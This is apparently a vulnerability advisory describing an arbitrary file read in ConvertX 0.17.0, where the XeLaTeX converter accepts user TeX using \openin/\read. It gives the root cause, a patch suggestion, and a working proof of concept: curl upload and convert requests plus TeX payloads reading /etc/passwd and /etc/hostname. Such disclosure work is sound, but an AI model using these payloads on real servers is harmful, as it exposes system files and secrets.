Skip to content

Latest commit

 

History

History
171 lines (123 loc) · 4.96 KB

File metadata and controls

171 lines (123 loc) · 4.96 KB

ConvertX Arbitrary File Read in XeLaTeX Converter via TeX \openin/\read

Description

ConvertX through 0.17.0 contains an arbitrary file read vulnerability in the XeLaTeX converter. User-supplied .tex content is passed to latexmk/xelatex without restricting TeX file system primitives, allowing attackers to abuse \openin and \read to access arbitrary files from the container filesystem.

A remote authenticated attacker can upload a crafted .tex file containing TeX file read primitives to disclose sensitive local files such as /etc/passwd, /etc/hostname, application source code, and other readable files accessible to the container user. The extracted content is embedded into the generated PDF.

\openin and \read are core TeX primitives and are not restricted by the shell_escape security setting. The issue affects the default Docker deployment provided by the project.

Affected Product

  • Product: ConvertX
  • Vendor: C4illin
  • Repository: https://github.com/C4illin/ConvertX
  • Affected Versions: v0.17.0
  • Component: src/converters/xelatex.ts, src/converters/main.ts
  • Docker Images:
    • ghcr.io/c4illin/convertx:latest
    • c4illin/convertx:latest

Vulnerability Details

Submitter

Fklov

Root Cause

The convert() function in src/converters/xelatex.ts passes user-controlled .tex content directly to latexmk/xelatex:

// src/converters/xelatex.ts:22-26
execFile(
  "latexmk",
  [
    "-xelatex",
    "-interaction=nonstopmode",
    `-output-directory=${outputPath}`,
    filePath
  ],
  // .tex file content is fully user-controlled
  // TeX file read primitives are unrestricted
)

The TeX Live configuration used by the container permits unrestricted file reads:

# /usr/share/texlive/texmf-dist/web2c/texmf.cnf
openin_any = a
shell_escape = p

openin_any = a allows TeX to read arbitrary files from the filesystem. Restricted shell_escape mode does not mitigate \openin or \read.

The converter selection is also user-controlled through the convert_to parameter:

// src/converters/main.ts:203-204
if (converterName) {
    converterFunc = properties[converterName]?.converter;
}

An attacker can therefore explicitly invoke the XeLaTeX converter through the convert_to parameter.

Exploitation Conditions

Attack Requirements

  • Authentication required by default
  • The first account registration is always permitted through the FIRST_RUN mechanism
  • No authentication required if ALLOW_UNAUTHENTICATED=true
  • No additional preconditions required

Typical Exploitation Flow

  1. Obtain an authenticated session
  2. Upload a crafted .tex document
  3. Trigger conversion using convert_to=pdf,xelatex

Proof of Concept

Step 1 — Upload malicious .tex file

curl -X POST http://target.com:3000/upload \
  -H "Cookie: auth=<JWT>; jobId=<JOB_ID>" \
  -F 'file=@exploit.tex;filename=exploit.tex;type=application/x-tex'

Example Payload — Read /etc/passwd

\documentclass{article}
\begin{document}
\newread\myfile
\openin\myfile=/etc/passwd
\loop\unless\ifeof\myfile
  \read\myfile to\fileline
  {\detokenize\expandafter{\fileline}}\par
\repeat
\closein\myfile
\end{document}

Example Payload — Read /etc/hostname

\documentclass{article}
\begin{document}
\newread\myfile
\openin\myfile=/etc/hostname
\loop\unless\ifeof\myfile
  \read\myfile to\fileline
  {\detokenize\expandafter{\fileline}}\par
\repeat
\closein\myfile
\end{document}

Step 2 — Trigger XeLaTeX conversion

curl -X POST http://target.com:3000/convert \
  -H "Cookie: auth=<JWT>; jobId=<JOB_ID>" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'convert_to=pdf%2Cxelatex&file_names=%5B%22exploit.tex%22%5D'

Impact

An attacker can read arbitrary files from the container filesystem, leading to:

  1. Disclosure of sensitive environment variables and application configuration
  2. Source code disclosure enabling further vulnerability research
  3. Cross-user data access through readable application storage paths
  4. System reconnaissance via /proc and container runtime metadata

Patch Recommendation

Primary Fix

// src/converters/xelatex.ts
execFile("latexmk", args, {
  env: {
    ...process.env,
    openin_any: 'p',
  }
});

Reproduction Evidence

Evidence 1 — /etc/hostname Successfully Read

Image

Evidence 2 — /etc/passwd Successfully Read

Image

Evidence 3

Image Image